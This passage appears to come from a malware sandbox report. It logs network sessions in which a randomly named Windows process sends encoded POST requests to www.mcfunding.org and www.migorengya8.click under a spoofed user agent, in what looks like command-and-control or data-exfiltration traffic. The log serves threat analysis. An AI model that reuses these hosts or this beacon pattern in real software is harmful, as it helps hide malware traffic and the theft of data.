Nov 22, 2024 14:45:44.801428080 CET	413	IN	HTTP/1.1 200 OK Server: openresty Date: Fri, 22 Nov 2024 13:45:44 GMT Content-Type: text/html Content-Length: 273 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 4e 6a 48 70 54 66 68 3d 51 72 57 73 31 4d 47 62 59 79 51 46 6f 71 33 70 41 69 61 73 78 51 30 76 4a 59 45 30 7a 2f 76 61 77 54 5a 65 65 49 31 69 38 74 6d 38 6b 78 65 4e 34 6d 52 61 49 5a 51 71 44 6d 53 72 65 31 41 7a 4e 39 73 49 65 47 2b 50 78 51 34 31 45 4c 2b 58 71 6f 6c 4f 73 39 77 59 73 35 33 31 34 77 6d 61 77 49 65 42 43 53 49 63 74 57 4d 77 46 43 79 49 48 55 79 63 61 65 6e 63 6e 34 4e 42 61 65 45 35 61 67 3d 3d 26 31 66 6f 3d 47 46 31 34 73 76 79 68 48 34 34 64 74 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?NjHpTfh=QrWs1MGbYyQFoq3pAiasxQ0vJYE0z/vawTZeeI1i8tm8kxeN4mRaIZQqDmSre1AzN9sIeG+PxQ41EL+XqolOs9wYs5314wmawIeBCSIctWMwFCyIHUycaencn4NBaeE5ag==&1fo=GF14svyhH44dt"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.8	49721	3.33.130.190	80	1240	C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 14:45:50.654340029 CET	810	OUT	POST /0598/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.mcfunding.org Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 208 Cache-Control: no-cache Origin: http://www.mcfunding.org Referer: http://www.mcfunding.org/0598/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 4e 6a 48 70 54 66 68 3d 67 34 55 68 4f 45 4e 67 4d 38 54 6f 2b 4a 61 35 5a 30 6f 6d 6e 72 43 53 4a 78 65 5a 58 72 43 49 4e 65 6b 76 44 6a 6b 56 6e 35 4c 58 73 4b 58 4f 61 49 54 63 58 44 71 76 66 6a 4a 71 42 71 6e 7a 37 59 4a 4d 65 69 32 41 30 72 53 6f 72 65 46 2f 75 48 62 49 66 64 66 76 69 42 33 4f 54 50 64 64 71 78 31 2f 4a 6b 32 76 5a 46 64 6a 33 6a 67 76 37 45 74 33 52 6d 30 77 71 48 79 77 56 57 6b 70 6a 64 6c 48 42 57 51 72 41 52 51 52 69 77 2f 38 33 4b 6e 78 37 42 32 6e 48 72 34 62 38 31 30 67 76 71 39 46 6c 6d 2b 4f 6a 6f 41 43 53 79 2b 41 4f 75 64 64 6a 79 76 46 61 73 41 2f 36 4d 6b 63 46 56 65 56 5a 2f 51 3d Data Ascii: NjHpTfh=g4UhOENgM8To+Ja5Z0omnrCSJxeZXrCINekvDjkVn5LXsKXOaITcXDqvfjJqBqnz7YJMei2A0rSoreF/uHbIfdfviB3OTPddqx1/Jk2vZFdj3jgv7Et3Rm0wqHywVWkpjdlHBWQrARQRiw/83Knx7B2nHr4b810gvq9Flm+OjoACSy+AOuddjyvFasA/6MkcFVeVZ/Q=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.8	49722	3.33.130.190	80	1240	C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 14:45:53.367153883 CET	830	OUT	POST /0598/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.mcfunding.org Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 228 Cache-Control: no-cache Origin: http://www.mcfunding.org Referer: http://www.mcfunding.org/0598/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 4e 6a 48 70 54 66 68 3d 67 34 55 68 4f 45 4e 67 4d 38 54 6f 2b 70 71 35 62 56 6f 6d 68 4c 43 56 55 42 65 5a 64 4c 43 45 4e 65 67 76 44 69 78 4b 6b 4b 2f 58 69 49 2f 4f 62 4b 37 63 51 44 71 76 51 44 4a 7a 46 71 6d 65 37 5a 30 6d 65 6a 61 41 30 72 47 6f 72 63 74 2f 70 30 44 4c 5a 4e 66 74 76 68 33 49 51 2f 64 64 71 78 31 2f 4a 67 66 79 5a 46 56 6a 33 54 51 76 35 6c 74 30 63 47 30 33 70 48 79 77 43 47 6b 74 6a 64 6c 78 42 54 78 41 41 54 6f 52 69 78 76 38 33 62 6e 32 77 42 32 68 44 72 34 4c 78 58 6b 77 76 59 49 69 67 41 36 68 6e 49 41 55 58 45 50 71 55 4d 56 62 67 79 48 75 61 76 6f 4a 2f 37 35 30 66 32 4f 6c 48 6f 48 74 50 36 50 72 66 47 74 67 48 68 35 4f 2b 68 4e 54 4f 39 47 4d Data Ascii: NjHpTfh=g4UhOENgM8To+pq5bVomhLCVUBeZdLCENegvDixKkK/XiI/ObK7cQDqvQDJzFqme7Z0mejaA0rGorct/p0DLZNftvh3IQ/ddqx1/JgfyZFVj3TQv5lt0cG03pHywCGktjdlxBTxAAToRixv83bn2wB2hDr4LxXkwvYIigA6hnIAUXEPqUMVbgyHuavoJ/750f2OlHoHtP6PrfGtgHh5O+hNTO9GM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.8	49723	3.33.130.190	80	1240	C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 14:45:56.025079966 CET	1847	OUT	POST /0598/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.mcfunding.org Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 1244 Cache-Control: no-cache Origin: http://www.mcfunding.org Referer: http://www.mcfunding.org/0598/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 4e 6a 48 70 54 66 68 3d 67 34 55 68 4f 45 4e 67 4d 38 54 6f 2b 70 71 35 62 56 6f 6d 68 4c 43 56 55 42 65 5a 64 4c 43 45 4e 65 67 76 44 69 78 4b 6b 4b 6e 58 69 35 66 4f 61 72 37 63 52 44 71 76 5a 6a 4a 32 46 71 6d 6d 37 59 63 69 65 6a 47 51 30 70 2b 6f 71 2f 56 2f 6f 46 44 4c 58 4e 66 74 7a 52 33 4a 54 50 64 4d 71 78 6c 7a 4a 6b 44 79 5a 46 56 6a 33 56 55 76 33 6b 74 30 65 47 30 77 71 48 79 73 56 57 6c 34 6a 64 64 68 42 54 38 37 41 69 49 52 69 51 66 38 34 4a 50 32 79 68 32 6a 4f 4c 35 55 78 58 70 33 76 59 46 5a 67 41 6d 4c 6e 4b 51 55 58 44 75 4a 4b 64 56 30 6a 53 62 53 57 4d 4d 43 78 5a 41 58 53 56 6a 4b 4c 61 54 66 49 75 66 44 56 77 35 2b 4c 79 73 69 6a 46 31 57 42 49 69 41 52 42 7a 54 68 59 54 2b 48 7a 2f 2f 53 54 58 32 75 37 74 44 37 6c 64 57 58 45 32 34 35 4e 55 6b 45 47 36 2b 31 74 49 73 71 70 65 7a 50 6d 68 74 55 4e 53 34 6c 68 4b 47 71 77 47 71 69 7a 45 74 78 42 46 30 75 64 46 64 39 7a 37 36 50 78 57 6d 54 4a 68 55 6e 59 7a 42 52 65 69 36 70 66 47 4d 78 6e 6b 38 67 2b 79 79 56 67 6a 42 46 54 [TRUNCATED] Data Ascii: NjHpTfh=g4UhOENgM8To+pq5bVomhLCVUBeZdLCENegvDixKkKnXi5fOar7cRDqvZjJ2Fqmm7YciejGQ0p+oq/V/oFDLXNftzR3JTPdMqxlzJkDyZFVj3VUv3kt0eG0wqHysVWl4jddhBT87AiIRiQf84JP2yh2jOL5UxXp3vYFZgAmLnKQUXDuJKdV0jSbSWMMCxZAXSVjKLaTfIufDVw5+LysijF1WBIiARBzThYT+Hz//STX2u7tD7ldWXE245NUkEG6+1tIsqpezPmhtUNS4lhKGqwGqizEtxBF0udFd9z76PxWmTJhUnYzBRei6pfGMxnk8g+yyVgjBFT/UdPsto28DhRdnm2+R7frtwS4lnfeBGoluzMdIWtSvJjH469Vo4FxShn2l1EUPfCsu0Q3bmCx4KRgRJUSpR+TH3mo4R/zYGn8P7YyGc2T4T8N+fbYzT4Pn/37A8eUOjKibbKlCIRW1QSZeI75epVM7tQeI9jwXa9EtKuwi8dIfX+YP+rIOscflcHWmVS9qk4Q5zdk/TmZHzqpI8B8EI3VJxKwtNr5d9OPaD4neM6g0oLh0jvgg4OiNjPr1KgxoVJ+e/gkk24BncdiwHk6VJESxAzHA2UE/MQJY1UpjClEl53YiV9dwXSSfbohFlGDiiD6Wpw8/6NEAVJy69IW4sjGRJp33jTJKbORvd4zWQIdLFhXr0NGlQRqBre4TX5GT4k/VEP0LWiO7CBj36TdhGWjnvtHF66JJVb/IJe39C+hOIRZGuwbM/fGJHHU45gw33LICgRwWEvrBI5jXBAisPX8XroVxrlDCp1PRUhDE6umd4D1xulYY6Rl+pK36oAYldEsiPCkehGXcdcIouqmBWvtKXoe4VI0NrghEvsDDCXzUCeBvNX7eUAZIs+tIQ/NcEBXQ/tmDL47Z0I6Fyj5FyPCiPo8dWDsqj4TDKlt7s5zpFkgATm2d8FA6zY6LcYBd2LxW2CoUgO9X/8HNJBi6SKUwbmu4rsOGL8xb [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.8	49724	3.33.130.190	80	1240	C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 14:45:58.682178974 CET	554	OUT	GET /0598/?1fo=GF14svyhH44dt&NjHpTfh=t68BN09iVeqb/IuLF1oa7LGDO07/W7CFIoocHQs3lozqg6PiE4irZB+dVkRcNKn3qqYTfz+U2KKskdRsvGv4dMSPmSyMXvFwuhBmNF6SR00f5xEMx0RhVmciiGarBUFx9Q== HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.mcfunding.org Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Nov 22, 2024 14:45:59.907481909 CET	413	IN	HTTP/1.1 200 OK Server: openresty Date: Fri, 22 Nov 2024 13:45:59 GMT Content-Type: text/html Content-Length: 273 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 31 66 6f 3d 47 46 31 34 73 76 79 68 48 34 34 64 74 26 4e 6a 48 70 54 66 68 3d 74 36 38 42 4e 30 39 69 56 65 71 62 2f 49 75 4c 46 31 6f 61 37 4c 47 44 4f 30 37 2f 57 37 43 46 49 6f 6f 63 48 51 73 33 6c 6f 7a 71 67 36 50 69 45 34 69 72 5a 42 2b 64 56 6b 52 63 4e 4b 6e 33 71 71 59 54 66 7a 2b 55 32 4b 4b 73 6b 64 52 73 76 47 76 34 64 4d 53 50 6d 53 79 4d 58 76 46 77 75 68 42 6d 4e 46 36 53 52 30 30 66 35 78 45 4d 78 30 52 68 56 6d 63 69 69 47 61 72 42 55 46 78 39 51 3d 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?1fo=GF14svyhH44dt&NjHpTfh=t68BN09iVeqb/IuLF1oa7LGDO07/W7CFIoocHQs3lozqg6PiE4irZB+dVkRcNKn3qqYTfz+U2KKskdRsvGv4dMSPmSyMXvFwuhBmNF6SR00f5xEMx0RhVmciiGarBUFx9Q=="}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.8	49725	198.252.98.54	80	1240	C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 14:46:05.637442112 CET	822	OUT	POST /y3dc/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.migorengya8.click Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 208 Cache-Control: no-cache Origin: http://www.migorengya8.click Referer: http://www.migorengya8.click/y3dc/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 4e 6a 48 70 54 66 68 3d 76 6a 6a 6d 61 58 57 74 79 6d 74 75 69 77 4d 7a 34 58 74 7a 71 46 51 54 68 36 69 76 77 6b 4a 38 68 4b 46 36 30 33 42 51 33 6e 4b 4b 2b 4d 6f 70 38 55 42 71 4f 70 70 63 66 33 76 70 61 47 72 52 4e 31 6e 63 69 44 38 6b 53 46 39 39 63 4d 62 42 2b 4d 70 4d 66 54 6a 70 79 2b 35 6d 36 52 6f 78 41 76 38 71 6e 44 6a 47 61 34 78 68 48 51 71 51 32 65 35 42 62 49 39 38 30 30 49 52 51 37 30 69 31 49 50 4d 2f 4a 66 32 45 35 4b 63 4d 75 73 49 68 52 4d 32 56 56 62 4d 4b 70 51 71 65 53 37 43 4e 4a 36 70 6f 42 58 45 6e 6b 46 56 63 74 41 46 49 49 76 75 48 7a 71 56 6a 7a 55 36 49 75 35 54 78 4f 6f 58 76 6e 51 3d Data Ascii: NjHpTfh=vjjmaXWtymtuiwMz4XtzqFQTh6ivwkJ8hKF603BQ3nKK+Mop8UBqOppcf3vpaGrRN1nciD8kSF99cMbB+MpMfTjpy+5m6RoxAv8qnDjGa4xhHQqQ2e5BbI9800IRQ70i1IPM/Jf2E5KcMusIhRM2VVbMKpQqeS7CNJ6poBXEnkFVctAFIIvuHzqVjzU6Iu5TxOoXvnQ=
Nov 22, 2024 14:46:06.938314915 CET	1033	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Fri, 22 Nov 2024 13:46:06 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.8	49726	198.252.98.54	80	1240	C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 14:46:08.293920994 CET	842	OUT	POST /y3dc/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.migorengya8.click Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 228 Cache-Control: no-cache Origin: http://www.migorengya8.click Referer: http://www.migorengya8.click/y3dc/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 4e 6a 48 70 54 66 68 3d 76 6a 6a 6d 61 58 57 74 79 6d 74 75 6a 54 55 7a 72 6b 56 7a 73 6c 51 63 75 61 69 76 35 45 4a 34 68 4b 42 36 30 32 46 35 33 52 69 4b 39 74 59 70 75 46 42 71 65 35 70 63 4b 48 75 6a 56 6d 72 67 4e 31 71 6a 69 44 41 6b 53 46 70 39 63 4e 72 42 2b 2f 42 50 66 44 6a 72 2b 65 35 67 30 78 6f 78 41 76 38 71 6e 44 33 6f 61 34 35 68 48 67 61 51 6b 50 35 4f 57 6f 39 2f 6b 45 49 52 44 72 30 6d 31 49 4f 6a 2f 49 43 6a 45 2f 47 63 4d 72 41 49 69 44 30 70 63 56 62 4b 4f 70 52 72 52 78 4b 30 4c 71 6d 4d 70 44 57 67 37 48 74 38 51 37 78 76 53 71 6e 6f 45 7a 43 2b 6a 77 38 4d 4e 5a 6b 37 72 74 34 6e 78 77 46 35 4b 57 52 4d 77 68 45 65 36 59 30 67 65 64 35 70 61 70 56 70 Data Ascii: NjHpTfh=vjjmaXWtymtujTUzrkVzslQcuaiv5EJ4hKB602F53RiK9tYpuFBqe5pcKHujVmrgN1qjiDAkSFp9cNrB+/BPfDjr+e5g0xoxAv8qnD3oa45hHgaQkP5OWo9/kEIRDr0m1IOj/ICjE/GcMrAIiD0pcVbKOpRrRxK0LqmMpDWg7Ht8Q7xvSqnoEzC+jw8MNZk7rt4nxwF5KWRMwhEe6Y0ged5papVp
Nov 22, 2024 14:46:09.548312902 CET	1033	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Fri, 22 Nov 2024 13:46:09 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.8	49727	198.252.98.54	80	1240	C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 14:46:10.945439100 CET	1859	OUT	POST /y3dc/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.migorengya8.click Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 1244 Cache-Control: no-cache Origin: http://www.migorengya8.click Referer: http://www.migorengya8.click/y3dc/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 4e 6a 48 70 54 66 68 3d 76 6a 6a 6d 61 58 57 74 79 6d 74 75 6a 54 55 7a 72 6b 56 7a 73 6c 51 63 75 61 69 76 35 45 4a 34 68 4b 42 36 30 32 46 35 33 52 61 4b 2b 65 41 70 38 79 39 71 64 35 70 63 57 58 75 67 56 6d 72 39 4e 31 79 76 69 44 4d 65 53 48 52 39 63 76 6a 42 33 75 42 50 4d 6a 6a 72 6a 4f 35 68 36 52 6f 42 41 76 73 75 6e 44 6e 6f 61 34 35 68 48 69 43 51 6e 65 35 4f 46 34 39 38 30 30 49 56 51 37 30 65 31 49 6d 5a 2f 49 47 7a 48 50 6d 63 4d 4b 73 49 75 57 59 70 45 46 62 49 4a 70 51 34 52 78 47 6e 4c 71 36 75 70 43 7a 46 37 45 4e 38 56 71 73 75 41 4a 50 53 62 77 36 65 68 67 34 4c 41 4c 6b 4b 74 66 70 51 74 48 70 6f 64 43 52 63 2f 67 77 74 36 5a 4d 70 63 37 78 44 58 50 63 79 76 74 62 31 7a 36 4f 59 76 47 37 59 72 58 75 6d 64 68 67 70 6c 5a 5a 70 74 52 34 48 59 2f 58 78 52 63 30 71 46 5a 65 68 6f 4c 77 6c 6e 38 69 6d 4a 41 72 51 62 41 62 42 62 38 54 4f 72 51 46 69 4a 31 56 34 63 2f 5a 44 58 4a 4a 7a 44 51 37 6f 37 38 69 4a 4e 56 62 6f 33 63 6e 6b 37 44 49 4f 43 75 4d 34 4e 2b 64 64 72 61 39 4b 63 76 [TRUNCATED] Data Ascii: NjHpTfh=vjjmaXWtymtujTUzrkVzslQcuaiv5EJ4hKB602F53RaK+eAp8y9qd5pcWXugVmr9N1yviDMeSHR9cvjB3uBPMjjrjO5h6RoBAvsunDnoa45hHiCQne5OF49800IVQ70e1ImZ/IGzHPmcMKsIuWYpEFbIJpQ4RxGnLq6upCzF7EN8VqsuAJPSbw6ehg4LALkKtfpQtHpodCRc/gwt6ZMpc7xDXPcyvtb1z6OYvG7YrXumdhgplZZptR4HY/XxRc0qFZehoLwln8imJArQbAbBb8TOrQFiJ1V4c/ZDXJJzDQ7o78iJNVbo3cnk7DIOCuM4N+ddra9KcvLNiCusQaQwC13KtkIIgiWSM3FAhlZXyxVf2aoG4PoykmIAfmsmqgHDOCFB5DpTcE5UBaMyMZWF2Dii/7/i5RUA7sNaiu56yWBKQMHTTwWMc3tH6OK0C+MOwF4zZwgRnaDkmLlAYpEwg2sNJgBF/Xt0ojEHUUw3msc4JAKDtyzuP5xNy0qbi02hYAtMMzv1lLDXOm6BSEFFeDrpDL5ahX7OmoK3ok9mRyFRjMgORRqQL4q7BpPkE+KDmL+OClnOfSrpATCfWfoKjd4LVrOieNDAjmHAlTCYcPMyqFh64WkAdUxQaHbDxE3WJKPPD0q2Ylrb4wRvdToQjY6v7lISB9HlbZ2eiB964BZN9o/MVh1UFB0scgj1K02+wPVDqxaftEn4inJkqUoufXagl9vwaY517l2r0u7Lqdaz18y+mV+S2tUoG7XEbYH+WNpgh3Im5zhp6E/laEznG14RxzJ0TKWZ3nt8w0bpm5LKjovH/FJAjR37coCOC8hQZ4Jr75hYDOB6EIb8sjTf8AQWJSjCRHK7d4rs8KYsABpbLNFgZ7Wh3031G4jabnSvRFjSSkkq+tkAO1QCUBatSomkbyR6g5Fx3tIGAcO2JDZQuYHsbJwOz5wWSYdmnD9GlTn3a7/jhhSQXQ1bVFWGUvEeVMkq5zOmwsIaHaMofGwH [TRUNCATED]
Nov 22, 2024 14:46:12.157075882 CET	1033	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Fri, 22 Nov 2024 13:46:11 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 